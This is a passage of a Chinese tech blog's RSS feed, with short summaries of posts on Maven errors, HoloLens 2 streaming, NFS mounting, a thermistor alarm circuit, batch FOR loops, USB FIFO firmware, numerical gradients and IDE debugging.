      <guid>https://bchobby.github.io/posts/408ac14bc4c37aeab7aae1061205ded8/</guid>
      <description>中文翻译就是不能传输项目，这就是maven下载不下来jar包。或者是maven镜像没配上，或者是server的账号密码错了。&#xA;也可以登录settings中的server服务器上看看到底有没有这个jar包，如果没有，那就是服务器的问题，联系管服务器jar包的人。和项目没关系。</description>
    </item>
    <item>
      <title>HoloLens2的彩色和深度数据流通过主机获取</title>
      <link>https://bchobby.github.io/posts/97838df8f459e5e92f68441c6faa908d/</link>
      <pubDate>Sun, 29 Jan 2023 14:44:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97838df8f459e5e92f68441c6faa908d/</guid>
      <description>关于HoloLens 2设备提供了研究者模式，便于开发者访问传感器的原始数据，进行科研开发，本博客根据github项目在线获得图像数据，但是目前达不到实时传输的效果，延迟很高，期望以后的深入学习可以解决。&#xA;文章目录 一、实验准备1、实验条件2、下载Github工程3、打开HoloLens 2研究者模式 二、配置过程1、配置VS环境2、注释工程项目中Eigen库2、生成解决方案3、更换Lib库 三、配置Unity项目1、新建Unity的3D项目2、将项目切换到Universal windows patform平台3、新建路径4、将前面编译好的文件拷贝到新建的Plugins文件夹下5、新建一个StreamerHL2.cs6、将脚本随便挂在在一个对象上，我挂载的是主相机7、设置Unity 项目的兼容性8、编译unity工程9、配置package文件中的兼容性10、将如下字段添加到 Package 中11、在Package这一行中,找到&#34;IgnorableNamespaces&#34;的属性，添加“rescap”字段12、在 Capabilityes添加如下字段 四、VS编译与部署1、打开下载好的github工程中的hololens2_simpleclient.py文件2、修改局域网IP 五、连接运行1、将PC与HoloLens 2连接至同一局域网2、vs部署HoloLens 2项目3、选择项目配置4、部署到HoloLens 2上5、运行hololens2_simpleclient.py文件6、查看结果 一、实验准备 1、实验条件 Windows 10 SDK 10.0.18362.0HoloLens 2 设备Unity 2020.3.31f1c1配置好MRTK混合现实开发包Visual Studio 2019Python3.9（opencv-python） 2、下载Github工程 HoloLens2-Unity-ResearchModeStreamer&#xA;3、打开HoloLens 2研究者模式 二、配置过程 1、配置VS环境 设置项目属性为release 和ARM64&#xA;Release+ARM64&#xA;2、注释工程项目中Eigen库 2、生成解决方案 3、更换Lib库 lib库里放了Opencv4.X的库，根据需要把附加依赖项直接换成opencv_world341.lib，这个文件包括项目所需所有lib&#xA;三、配置Unity项目 1、新建Unity的3D项目 2、将项目切换到Universal windows patform平台 3、新建路径 4、将前面编译好的文件拷贝到新建的Plugins文件夹下 E → HoloLens2-Unity-ResearchModeStreamer-master → HL2RmStreamUnityPlugin → ARM64 → Release → HL2RmStreamUnityPlugin&#xA;5、新建一个StreamerHL2.cs 复制下面代码到脚本里面&#xA;在这里插入代码片 6、将脚本随便挂在在一个对象上，我挂载的是主相机 7、设置Unity 项目的兼容性 勾选&#xA;InternetClient, InternetClientServer, PrivateNetworkClientServer, WebCam, SpatialPerception 5个位置</description>
    </item>
    <item>
      <title>关于window系统“你没有权限查看或编辑这个对象的权限设置” 解决方案</title>
      <link>https://bchobby.github.io/posts/41c5c07d631541cf6de2eca27cf80f26/</link>
      <pubDate>Sun, 29 Jan 2023 13:54:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41c5c07d631541cf6de2eca27cf80f26/</guid>
      <description> 近期在使用一些软件时，引起部分文件夹无法删除和操作，在“右键-属性-安全-高级-权限 ”中无法取得权限。如图所示：&#xA;解决方案：开始菜单-注销 再次删除 </description>
    </item>
    <item>
      <title>（附源码）springboot学生宿舍管理系统  毕业设计161542</title>
      <link>https://bchobby.github.io/posts/c382348c316cf59fd244ec5568d78e40/</link>
      <pubDate>Sun, 29 Jan 2023 11:40:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c382348c316cf59fd244ec5568d78e40/</guid>
      <description>摘要&#xA;本论文主要论述了如何使用springboot开发一个宿舍管理系统，本系统将严格按照软件开发流程进行各个阶段的工作，采用B/S架构，面向对象编程思想进行项目开发。在引言中，作者将论述宿舍管理系统的当前背景以及系统开发的目的，后续章节将严格按照软件开发流程，对系统进行各个阶段分析设计。&#xA;宿舍管理系统的主要使用者分为管理员、宿管员和学生，实现功能包括管理员：首页、用户管理（管理员、学生用户、员工用户）更多管理（学生信息、宿舍管理、入住信息、出入登记、人员来访）等功能；员工：学生信息、宿舍管理、入住信息、出入登记、人员来访等功能；学生：学生信息、入住信息、出入登记等功能。由于本网站的功能模块设计比较全面，所以使得整个宿舍管理系统信息管理的过程得以实现。&#xA;本系统的使用可以实现本java宿舍管理系统的信息化，可以方便管理员进行更加方便快捷的管理，可以提高宿舍管理系统的管理效率。&#xA;关键词：springboot ；mysql数据库；宿舍管理系统&#xA;Abstract&#xA;This paper mainly discusses how to use springboot to develop a dormitory management system. This system will carry out the work of each stage in strict accordance with the software development process, and adopt B / S architecture and object-oriented programming idea for project development. In the introduction, the author will discuss the current background of the dormitory management system and the purpose of system development.</description>
    </item>
    <item>
      <title>方差分析-基本概念阐述</title>
      <link>https://bchobby.github.io/posts/dbee9b02289ebc938e30adc36fedefae/</link>
      <pubDate>Sun, 29 Jan 2023 11:06:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbee9b02289ebc938e30adc36fedefae/</guid>
      <description>目录&#xA;方差分析的作用(ANOVA)&#xA;因子和等级(Factors and Levels)&#xA;受试者之间或受试者内部因子(Between- and Within-Subjects Factors)&#xA;多因子设计(Multi-Factor Designs)&#xA;方差分析的作用(ANOVA) 方差分析（Analysis of Variance，ANOVA）是用来检验两组或两组以上均值是否存在差异的统计学方法。可能令人困惑的是，既然此方法是检验均值的，那为什么不叫作“均值分析”而叫作“方差分析”。随着对方差分析原理的深入，我们会了解到这是因为均值是否差异的结论是通过分析方差得出的。&#xA;因子和等级(Factors and Levels) 方差分析中有两个重要的概念，因子(factors)和等级(levels)。比如评估受教育程度对工资影响的实验中（简称“工资实验”），人群按受教育程度分为高中、本科、研究生、博士，通过观察这些不同群体毕业后工资的差异性来得到实验结论。在这个实验中，factor指的是受教育程度，它是一个独立变量。实验一共评估了4种不同类型的受教育程度，所以该factor有4个levels。&#xA;只有一个factor的方差分析被称为one-way ANOVA，有两个factors的方差分析被称为two-way ANOVA。比如有一个用来评估年龄和性别对于阅读速度影响的实验（简称“阅读实验”），年龄被分为3组（8岁，10岁和12岁），性别被分为2组（男性和女性）。我们可以说，factors为年龄和性别，且年龄有3个levels，性别有2个levels。&#xA;受试者之间或受试者内部因子(Between- and Within-Subjects Factors) 当factor的不同levels是由不同受试者组成的，则称这个factor为受试者之间因子(between-subjects factor或者between-subjects variable)。比如“工资实验”中，不同受教育程度的人群是由4组不同的受试者产生的，则受教育程度这个factor就是between-subjects factor。&#xA;当factor的不同levels是由相同受试者组成的，则称这个factor为受试者内部因子(within-subjects factor or within-subjects variable)。比如“药物实验”中，每一位受试者都服用了4种剂量的药物(0, 0.15, 0.30, 0.60 mg/kg)，则剂量这个factor就是within-subjects factor。&#xA;多因子设计(Multi-Factor Designs) 通常实验的factors不止一个，比如“阅读实验”评估了8岁、10岁和12岁的男性和女性阅读速度的差异，受试者被分为以下6个组(表1)：&#xA;GroupGenderAge1Female82Female103Female124Male85Male106Male12 表1 Gender(2) x Age(3) Factorial Design&#xA;这个实验有2个factors，即Age和Gender，Age有3个levels，Gender有2个levels。所有levels的组合都被考虑在内的设计被称为因子设计(factor design)。准确的讲，上面这个因子设计应当被称为Gender(2) x Age(3) factorial design。复杂的因子设计通常不止2个factors，而且可能是between- and within-subjects factors的组合。&#xA;参考资料：https://onlinestatbook.com/2/analysis_of_variance/intro.html</description>
    </item>
    <item>
      <title>（附源码）Springboot小区物业管理系统 毕业设计 051745</title>
      <link>https://bchobby.github.io/posts/5e7a01d5e37a0e24328da3624df4815a/</link>
      <pubDate>Sun, 29 Jan 2023 10:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e7a01d5e37a0e24328da3624df4815a/</guid>
      <description>Springboot小区物业管理系统&#xA;摘 要&#xA;随着互联网趋势的到来，各行各业都在考虑利用互联网将自己推广出去，最好方式就是建立自己的互联网系统，并对其进行维护和管理。在现实运用中，应用软件的工作规则和开发步骤，采用Java技术建设小区物业管理系统。&#xA;本设计主要实现集人性化、高效率、便捷等优点于一身的小区物业管理系统，完成小区动态管理、小区管理、停车位管理、业主车辆管理、物业报修管理、投诉信息管理、收费管理、小区人数管理等功能模块。系统通过浏览器与服务器进行通信，实现数据的交互与变更。只需通过一台电脑，动动手指就可以操作系统，实现数据通信管理。整个系统的设计过程都充分考虑了数据的安全、稳定及可靠等问题，而且操作过程简单。本系统通过科学的管理方式、便捷的服务提高了工作效率，减少了数据存储上的错误和遗漏。&#xA;小区物业管理系统使用Java语言，采用基于Springboot框架、Java技术进行开发，使用 MyEclipse 2017 CI 10 编译器编写，数据方面主要采用的是微软的MySQL关系型数据库来作为数据存储媒介，配合前台HTML+CSS 技术完成系统的开发。&#xA;关键词：数据通信；Java语言；关系型数据库；数据存储&#xA;Springboot community property management system&#xA;Abstract&#xA;With the advent of the Internet trend, all walks of life are considering using the Internet to promote themselves. The best way is to establish their own Internet system and maintain and manage it. In practical application, according to the working rules and development steps of the application software, Java technology is used to build the community property management system.</description>
    </item>
    <item>
      <title>群晖挂载Unraid NFS文件夹</title>
      <link>https://bchobby.github.io/posts/959a24f3f53666a6e0fb9cd4b52893ec/</link>
      <pubDate>Sun, 29 Jan 2023 00:19:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/959a24f3f53666a6e0fb9cd4b52893ec/</guid>
      <description>最近将黑群晖资料转移到了Unraid上，但群晖的Drive和Photo等套件还是比较好用。为了保持同步，计划在群晖上挂载Unraid的NFS共享文件夹。国内的教程基本上是教如何在Unraid挂载群晖的共享文件夹，查找相关页面后得到解决方法如下：&#xA;Unraid共享文件夹设置&#xA;NFS 安全设置&amp;gt;安全性：私有&#xA;NFS 安全设置&amp;gt;规则：10.0.0.91(sec=sys,rw,sync,no_subtree_check,no_root_squash,anongid=100,anonuid=99)&#xA;（红字部分改为群晖的IP）&#xA;Unraid共享文件夹设置&#xA;此后在群晖FileStation正常挂载NFS文件夹即可。</description>
    </item>
    <item>
      <title>简易温度检测器电路原理</title>
      <link>https://bchobby.github.io/posts/671cc48a9619e7250816e67b6ea67d65/</link>
      <pubDate>Sat, 28 Jan 2023 17:09:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/671cc48a9619e7250816e67b6ea67d65/</guid>
      <description>在日常生活中，对温度的及时检测能够减免火灾的发生，所以今天就说说温度检测器。&#xA;实际功能&#xA;在常温下显示数字0，随着温度的升高，数码管逐步显示1、3、8，分别代表三档温度，并且在显示8的时候，LED灯开始闪烁，代表温度过高而报警，当温度下降时，数码管的显示状态也要随之改变。至于为什么是显示1、3、8，而不显示1、2、3，是因为这个实际上是电子设计制作大赛的题目，会考虑到整体的难易程度，这里选择显示1，3，8是为了降低难度，并不是说1，2，3不能实现。&#xA;上面是电路原理图和实物图 ，电路图中两线相交未必就代表它们的真的相连了，只有它们相交，并且交点为黑色圆圈才代表两线相连，电流才能通过。&#xA;整体思路&#xA;电路原理图包含了电源部分、测温部分、显示部分、报警部分。看上去比较复杂，但实际上板块界限清晰，能把文章看完都能理解。电源部分提供直流电和断电开关（复位用的），测温部分就是比较电压，然后决定是否输出高电平，输出的高低电平决定显示部分显示的数字，报警部分在最高温度才有，同样是根据测试部分的输出作为信息源，用一个ne555能得到一个闪烁的LED。&#xA;电源模块&#xA;我们都知道民用电的电压的220V的交流电，但给我们的电路板要用的是8~15v直流电，所以就需要这个电源模块。&#xA;测温模块&#xA;整体思路：首先热敏电阻的阻值会随着温度的改变而改变，这时线性关系，所以温度与阻值是一一对应的关系，如果我们将热敏电阻与阻值选好的电阻进行串联，通过热敏电阻对温度变化的感应，让热敏电阻的阻值改变，串联电路中一个电阻阻值改变那么分压情况也一定改变，这时知道温度与阻值与电压三者都是一一对应的关系，当温度变化时，热敏电阻串联的电路的电压分配也会变化。我们再找出三个挡位所要的温度它对应的分压情况，再用两个阻值固定的电阻串联得到这个温度对应的电压，再找一个能比较电压的芯片，比较热敏电阻所串联线路的分压情况和我们自己根据温度对应电压所串联的线路，比较会出现三种结果，大于等于小于，这种比较器再根据结果输出高低电平用来控制数码管显示和报警指示灯的闪烁。&#xA;图中RV1就是热敏电阻，这里是NTC型，随着温度的升高电阻减小，还有一种是PTC，电阻随着温度升高而升高。在图中还有三条横线，对应三个比较器的反向输入端（就是图中的等边三角形），比较器就是LM393芯片，或者说LM393就是比较类型的芯片，一个393内涵两个比较器，所以图中有三个393的标注，但实际上只用两个芯片，这也可以解释出U1的A和B都有4和8脚，它们实际上是一个，连接实物的话连接一个就欧克了。LM393可以对输入口的电压进行比较，输入口分正向输入端和反向输入端，这没什么不同，就是区分两个输入端，它们在等边三角形（也就是393的符号）里用+、- 号标注了。具体的比较规则是正向输入的电压高于反相输入的电压时，LM393的输出脚输出高电平（也就是有电出来）。这个输出脚一个LM393芯片有两个，分别对应两个比较器的输出引脚，它们是1和7。&#xA;第一档：&#xA;了解完比较基本的规则，现在看看具体该怎么设置。我们都知道从电源负正极到电源负极，电压会逐渐降低，具体的降低速度根据电阻的大小而不同，但前半部分的电阻要是小，那么它之后还会剩余很多电压，如果前半部分的电阻比较大，后面的电压也就小了。知道这个后我们来看看几对电阻，R6和R2，R14和R4，R7和R13，它们就是我们自己设置的串联线路，分别对应了一个比较器，每一个比较器又对应了测温的温度阈值。这里以第一档为例，电源为15V的情况下，R6与R2的电阻都为10K，它们各得7.5v的电压，那么U1A的2脚输入了7.5V的电，由于阻值固定，所以这个电压也是固定的。这个是反相输入的电压7.5v，再来看看正向输入的电压，那就要看RV1和R1了，RV1为NTC，在在环境温度25摄氏度及一下的温度环境中，实际阻值为最大阻值，这里的阻值就为10K，那么在这时RV1=R1=10K，所以三号引脚同样为7.5v的电压，可这时温度升高，热敏电阻的阻值随之减小，那这时三号引脚得到的电压会如何变化呢，刚刚有说过，在前半部分电阻较小的时候，后半部分就将得到更多的电压以保证电流一样，而三号引脚的电压是谁的呢，是满电通过RV1之后剩余的电压，由于热敏电阻阻值减小，前半部分无法再占据7.5v的电压，也就是说后半部分的电压大于7.5v，具体是多少不知道，但肯不止置7.5v，那么3号引脚的电压就会大于2号引脚的标准7.5v，根据比较规则，1号引脚将会输出高电平，至于这个高电平会产生什么效果待会看，总之，这就是温度检测器第一档温度检测的原理（在常温时是显示0，第一档时显示1）。此时一二三比较器分别输出高电平、低电平、低电平。&#xA;第二档：&#xA;在第二档的时候不光需要第一个比较器输出高电平，还需要第二个比较器输出高电平，与此同时，三号比较器要输出低电平。观察发现，其实二号比较器输出高电平的时候，一号比较器也一定会输出高电平，温度未达到一定高度时三号比较器也一定是输出低电平的。观察图中的红线，不难发现三个比较器的正向输入端是相连的，再根据R6和R2，R14和R4，R7和R13的阻值，计算出反向输入端的固定电压分别是1/2，4/7，2/3，为明确表达这里用的分数形式，代表反相输入端所占电压的比值。再根据温度越高，热敏电阻阻值越小，R1所占电压越高，那么正向输入端的电压就越高，这样一来就有点像闯关游戏了，温度升高好比打游戏投入的时间，投入的多技术也得到了提升，所以正向电压升高，得到的回报就是能够打到更后的关卡。&#xA;第三档：&#xA;目前我们知道，三个比较器会随着温度升高逐个输出高电平，输出的这个高电平是用来去编码显示档数的，这里随着温度的升高逐步显示0，1，3，8。0是常温下显示的，这个待会还会说。第三档的高电平有着多个任务要完成，首先要让4511显示器显示出8，其次，由于在第三档的时候三个比较器都是输出高电平，这样一来显示器实际上是得到了输出12的信号（1+2+8），这很明显无法显示，就乱码了，这时我们就需要屏蔽掉一号比较器和二号比较器输出的高电平。&#xA;想要屏蔽掉一个高电平，无非就是用低电平，但目前为止我们只有一个高电平，如何才能得到低电平呢，这里用个简简单单的逻辑门即可。【数电，逻辑门八门全开！】https://www.bilibili.com/video/BV1bt4y1H7de?vd_source=d65838e71b096f0dab245117c585fd9d&#xA;这里圈出的是4011芯片，我们现在并不知道它有什么功能，但我们可以猜出来。或与非三种逻辑门，或和与门都是有两个输入端的，当两个输入端给出不同的组合，得到的结果也是不同的。或门：有1得1，全0得0，与门：有0得0，全1得1，非门：输出与输入相反。之后还有或非门，与非门，原理都是一样的，比如或非门，先套用或门的规则（真值表），再套用非门的规则。如果有不确定或者这里头晕的朋友，可以先看上面的视频连接，视频非常的清楚明白。&#xA;回到我们的电路图，我们只有一个高电平，也就是1，要得到低电平，也就是0。直接用非门当然可以得到0，可我们现在有一个1，如果将两个输入端相连就相当于有两个1，那就是全1，可无论是与门还是非门，全1都为1，再加个非门能得到1，这里用的4011就是与非门。有人会问了为什么不直接用非门呢？这个电路图实际上是电子设计制作大赛的题目，只能用所给出的芯片进行设计，这里也就用的是4011这个与非门芯片，与门的规则是全1得1，那么与非门就是全1得0了，这里有不清楚可以多看两眼，也可以看视频。现在我们得到低电平了，那么这个低电频通过D1,D2两个二极管将比较器1和2传送过来的高电平给“带偏”了，这个高电平是没办法再传输到4511了，有朋友要问了，为什么要个二极管，直接连上不就可以了吗？与非门，全0得1，在第二三档的时候三号引脚输出的高电平通过4011会产生高电平而影响正常输出，所以利用一下二极管的单向导通性防止倒灌。U4:A和U4:B用来控制数码管的闪烁，这个待会还会说。&#xA;报警部分&#xA;这个模块讨论两个芯片，一个是老朋友NE555，另外一个是4040。NE555就两个功能，一个是定时，一个是延时。这里显然是定时，4号引脚接到了三号比较器的输出端，而4号引脚又是低电工作的复位端，正常工作4号引脚得是高电平，意思是NE555只能在4号引脚接收到高电平的时候才能正常工作，那也正好对应了第三档的时候要有灯闪烁。NE555的3号引脚是输出端，输出的周期T=0.7*（R15+2R16）*C1，电容电阻周期的单位是法拉，欧姆，秒。就这样电脉冲输出到了4040的10引脚。关于4040，除了Q0~Q11,还有CLK和MR，Q0~Q11是12个输出引脚，CLK是时钟输入端，MR是复位端。4040的4号引脚输出信号连接到了一个4011的引脚（U4：B），当4号引脚输出是通过4011接到了数码管的阴极，这时4011给出的是低电平（大家自己根据前面的知识判断如何输出的低电平），这样就使得数码管熄灭，但是4号引脚输出高电平只是一瞬间的事情，很快就轮到后面的引脚输出高电平，正因为这样达到了数码管一亮一灭的效果，同时也让LED灯D3能在第三档的时候闪烁。&#xA;总结&#xA;整个电路图看上去是比较复杂的，但拆分看都有自己完整的逻辑，而弄懂各个板块之后，把他们联系在一起也不是什么难事了。</description>
    </item>
    <item>
      <title>for命令详解(3)</title>
      <link>https://bchobby.github.io/posts/3a856762bd2ec4a04b10e843f3a16767/</link>
      <pubDate>Sat, 28 Jan 2023 16:09:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a856762bd2ec4a04b10e843f3a16767/</guid>
      <description>for介绍 一.基本格式二.FOR参数1.参数/D详解2.参数/R详解3.参数/L详解4.参数/F详解(掺杂个人理解) 一.基本格式 FOR %variable IN (set) DO command [command-parameters] %variable 指定一个单一字母可替换的参数 (set) 指定一个或一组文件,可以施一公通配符 command 指定对每个文件执行的命令 command-parameters 为特定命令指定参数或命令行开关 二.FOR参数 1.参数/D详解 定义: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配 解析: 如果集合(set)包含通配符(&#34;*&#34;和&#34;?&#34;),将对与集合(set)相匹配的每一个目录(不是指目录中的文件组) 执行指定的Command,这个参数主要用于目录搜索,不是搜索文件 实例:&#xA;@echo off&#xA;echo C盘根目录下所有目录名:&#xA;for /d %%x in (c:*) do (&#xA;echo %%x&#xA;)&#xA;pause&amp;gt;nul&#xA;2.参数/R详解 定义: FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] 检查以[drive:]path为根的目录树,指向每个目录中的FOR语句. 如果在/R后没有指定目录规范,则使用当前目录,如果仅为一个单点(.)字符,则枚举该目录树 解析: 通过/D参数知道,/D参数显示指定路径或者当前路径下的目录名,/R也是跟目录有关 /R参数可以把指定路径下或者当前目录下的文件名全部读取,注意是文件名,不是目录名 实例1:&#xA;echo 查看当前目录和目录下文件夹名&#xA;for /r %%x in (.</description>
    </item>
    <item>
      <title>win10系统删除Microsoft帐户</title>
      <link>https://bchobby.github.io/posts/783f9a4b8805212aff0e997d7dcddffb/</link>
      <pubDate>Sat, 28 Jan 2023 14:53:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/783f9a4b8805212aff0e997d7dcddffb/</guid>
      <description> Win+R打开运行，在运行输入框输入regedit，点击确定，打开注册表编辑器。找到路径HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL 选择IdentityCRL项，右键删除。（注意：此操作将删除所有Microsoft帐户，若要删除指定帐户，需从UserExtendedProperties下进行选择）找到路径HKEY_USERS\.DEFAULT\Software\Microsoft\IdentityCRL选择IdentityCRL项，右键删除。（注意：此操作将删除所有Microsoft帐户，若要删除指定帐户，需从StoredIdentities下进行选择）重启计算机或注销帐户（ Ctrl+Alt+Delete 注销）。重新登录帐户在设置-帐户-电子邮件和应用帐户下，单击Microsoft帐户，点击“删除”即可。 </description>
    </item>
    <item>
      <title>用Zybo调试CY7C68013A核心板的Slave FIFO模式</title>
      <link>https://bchobby.github.io/posts/38b65efbb90a601ce074d1de8bcba169/</link>
      <pubDate>Sat, 28 Jan 2023 09:49:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38b65efbb90a601ce074d1de8bcba169/</guid>
      <description>用Zybo调试CY7C68013A核心板 简介CY7C68013A核心板CY7C68013程序设计硬件连接主要代码 Zybo程序设计心得 简介 最近在调试CY7C68013A核心板的Slave FIFO模式时，因为电路板的丝印bug，绕了一大圈。最终不但调试成功，也发现了用Zybo调试其它电路板的便利之处。在这里分享下调试过程和心得。&#xA;CY7C68013A核心板 淘宝购买的最便宜的核心板，有两个用户LED，硬件版本为HW-274。实物如下图：&#xA;根据原理图和实物细节照片，发现丝印SLWR和SLRD搞反了。也即丝印RDY0实际上是RDY1引脚，丝印RDY1实际上是RDY0引脚。具体如下图所示：&#xA;红圈处的引脚实际为RDY1/SLWR，但是丝印错误，搞成了RDY0。&#xA;蓝圈处的引脚实际为RDY0/SLRD。&#xA;最开始是用STM32作为主控，读写CY7C68013的FIFO。但是因为开始没有发现这个错误，就转而使用Zybo调试了。用Zybo的原因是因为它在调试时能够很方便地使用ILA IP进行逻辑分析。正因为这个错误让我认识到了Zybo的额外利用价值。&#xA;CY7C68013程序设计 硬件连接 在调试CY7C68013的Slave FIFO模式时，为了简化硬件电路连接和控制端代码，采用了异步模式。根据EZ-USB的TRM文档，异步Slave FIFO读写硬件电路和时序为：&#xA;主要代码 CYPRESS提供了FX2LP的固件框架，使得固件开发只需修改TD_Init和TD_Poll（如果采用中断，那就修改中断函数）两个函数即可。针对CY7C68013 的固件程序，只需要修改bulkloop项目中的bulkloop.c文件里的TD_Init和TD_Poll函数。&#xA;void TD_Init(void) // Called once at startup { //设置8051的工作频率为48MHz CPUCS = 0x12; // CLKSPD[1:0]=10, for 48MHz operation, output CLKOUT SYNCDELAY; //Slave使用内部48MHz的时钟 IFCONFIG = 0xEB; //Internal clock, 48 MHz, output IFCLK, Slave FIFO ASYNC mode //IFCONFIG.3=ASYNC, 1=async, 0=sync SYNCDELAY; //配置FIFO标志输出，FLAG B配置为EP6 IN FIFO空标志 PINFLAGSAB = 0xE0;&#x9;// FLAGB - EP6FF SYNCDELAY; //配置FIFO标志输出，FLAG C配置为EP2 OUT FIFO满标志 PINFLAGSCD = 0x08;&#x9;// FLAGC - EP2EF SYNCDELAY; //PA7=FLAGD PORTACFG = 0x00; SYNCDELAY; FIFOPINPOLAR = 0x00; // set all slave FIFO interface pins as active low SYNCDELAY; //将EP2断端点配置为BULK-OUT端点，使用4倍缓冲，512字节FIFO EP2CFG = 0xA0; //out 512 bytes, 4x, bulk SYNCDELAY; //将EP6配置为BULK-OUT端点， EP6CFG = 0xE0; // in 512 bytes, 4x, bulk SYNCDELAY; EP4CFG = 0x02; //clear valid bit SYNCDELAY; EP8CFG = 0x02; //clear valid bit SYNCDELAY; //复位FIFO FIFORESET = 0x80; // activate NAK-ALL to avoid race conditions SYNCDELAY; // see TRM section 15.</description>
    </item>
    <item>
      <title>读书笔记：求函数梯度的Python代码 numerical_gradient.py ← 斋藤康毅</title>
      <link>https://bchobby.github.io/posts/8620b1d5ddf341f69acf0cb0195204d5/</link>
      <pubDate>Fri, 27 Jan 2023 22:19:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8620b1d5ddf341f69acf0cb0195204d5/</guid>
      <description>由多元函数全部变量的偏导数汇总而成的向量称为梯度（gradient）。&#xA;梯度指示的方向是各点处的函数值减小最多的方向。&#xA;下文给出了求函数 的梯度的 Python 代码。&#xA;【求函数梯度的Python代码】&#xA;import numpy as np import matplotlib.pylab as plt def numerical_gradient_no_batch(f,x): h=1e-4 grad=np.zeros_like(x) for idx in range(x.size): tmp_val=x[idx] x[idx]=float(tmp_val)+h fxh1=f(x) x[idx]=tmp_val-h fxh2=f(x) grad[idx]=(fxh1-fxh2)/(2*h) x[idx]=tmp_val return grad def numerical_gradient(f,X): if X.ndim==1: return numerical_gradient_no_batch(f,X) else: grad=np.zeros_like(X) for idx,x in enumerate(X): grad[idx]=numerical_gradient_no_batch(f,x) return grad def fun_2(x): if x.ndim==1: return np.sum(x**2) else: return np.sum(x**2,axis=1) def tangent_line(f,x): k=numerical_gradient(f,x) b=f(x)-k*x return lambda t:k*t+b if __name__==&#39;__main__&#39;: x0=np.arange(-2,2.5,0.25) x1=np.arange(-2,2.5,0.25) X,Y=np.meshgrid(x0,x1) X=X.flatten() Y=Y.</description>
    </item>
    <item>
      <title>解决“VS 报No such file or directory“问题</title>
      <link>https://bchobby.github.io/posts/3a960ae8a11b8b733fd2fabd7e98cf29/</link>
      <pubDate>Fri, 27 Jan 2023 10:14:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a960ae8a11b8b733fd2fabd7e98cf29/</guid>
      <description>今天在使用VS2015的calcOne工程，将工程由Debug版本改为Release版本，编译时弹出&#34;无法打开包括文件: “addFunc.h”: No such file or directory&#34;错误，如图(1)所示：&#xA;图(1) Release版本报&#34;No such file or directory&#34;错误 但是，将工程由Release版本改回到Debug版本，却编译成功。从而判断是Release、Debug这2个版本的编译环境有差异。&#xA;出现该问题的原因是：Release版本没有配置对应的头文件路径。&#xA;解决方法：右击&#34;工程&#34;–&amp;gt; 属性 --&amp;gt; 选择Release版本 --&amp;gt; C/C++ --&amp;gt; 常规–》附加包含目录，添加对应的头文件即可。&#xA;方法一 通过属性页进行修改 本例是addFunc.h的头文件路径: ..\myCommon要添加到C/C++ 附件包含目录里，如图(2)所示：&#xA;图(2)在属性页里，选中Release版本，并添加对应的头文件路径 编译时，选中Release版本进行编译，如图(3)、图(4)所示。&#xA;图(3) 编译时要选中Release版本 图(4) 工具栏里的版本要与属性页里的版本保持一致 效果如下：&#xA;图(5) Release版本编译成功 方法二 通过*.vcxproj进行修改 *.vcxproj是VS工程的路径配置文件，里面有Release、Debug的环境配置项，如下:&#xA;// *.vcxproj&#xA;&amp;lt;ItemDefinitionGroup Condition=&#34;&#39;$(Configuration)|$(Platform)&#39;==&#39;Debug|x64&#39;&#34;&amp;gt; &amp;lt;ClCompile&amp;gt; //.. &amp;lt;AdditionalIncludeDirectories&amp;gt;..\myCommon;%(AdditionalIncludeDirectories)&amp;lt;/AdditionalIncludeDirectories&amp;gt; &amp;lt;/ClCompile&amp;gt;&#x9;&amp;lt;/ItemDefinitionGroup&amp;gt; &amp;lt;ItemDefinitionGroup Condition=&#34;&#39;$(Configuration)|$(Platform)&#39;==&#39;Release|x64&#39;&#34;&amp;gt; &amp;lt;ClCompile&amp;gt; //.. &amp;lt;AdditionalIncludeDirectories&amp;gt;..\myCommon;%(AdditionalIncludeDirectories)&amp;lt;/AdditionalIncludeDirectories&amp;gt; &amp;lt;/ClCompile&amp;gt; &amp;lt;/ItemDefinitionGroup&amp;gt; AdditionalIncludeDirectories 是附加包含目录的配置项，在里面填写头文件路径即可。&#xA;2.1 判断include目录与*.vcxproj的路径关系 此处的include目录，特指myCommon，进入calcOne所在的项目根目录(*.sln目录)，使用tree /f查看路径关系：&#xA;## 进入项目根目录 cd calcOne ## 查看路径关系 tree /f 图(6) 判断include路径与*.</description>
    </item>
    <item>
      <title>9、断点调试</title>
      <link>https://bchobby.github.io/posts/dba0cef1fbdbbc0f6c4e16ad9c9ff413/</link>
      <pubDate>Thu, 26 Jan 2023 18:33:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dba0cef1fbdbbc0f6c4e16ad9c9ff413/</guid>
      <description>文章目录 9、断点调试9.1 为什么需要Debug9.2 Debug的步骤1 添加断点2 启动调试3 单步调试工具介绍 9.3 多种Debug情况介绍1 行断点2 方法断点3 字段断点4 条件断点5 异常断点6 线程断点7 强制结束 9.4 自定义调试数据视图9.5 常见问题 【尚硅谷】idea实战教程-讲师：宋红康&#xA;生活是属于每个人自己的感受，不属于任何别人的看法&#xA;9、断点调试 9.1 为什么需要Debug 编好的程序在执行过程中如果出现错误，该如何查找或定位错误呢？&#xA;简单的代码直接就可以看出来，但如果代码比较复杂，就需要借助程序调试来查找错误了。&#xA;在运行编写好的程序时，可能出现的集中情况：&#xA;情况1：没有任何bug，程序执行正确。&#xA;===============如果出现如下三种情况，都有必要使用debug===============&#xA;情况2：运行后，出现了错误或异常信息，但是通过日志文件或控制台，显示了异常信息的位置。&#xA;情况3：运行后，得到了结果，但是结果不是预先设计的。&#xA;情况4：运行后，得到了结果，结果大多数情况是我们想要的，但是多次运行，会出现不是预先设计的结果在其中。&#xA;比如：多线程情况下，处理线程安全问题。&#xA;9.2 Debug的步骤 Debug（调试）程序步骤如下 ：&#xA;1 、 添加断点&#xA;2 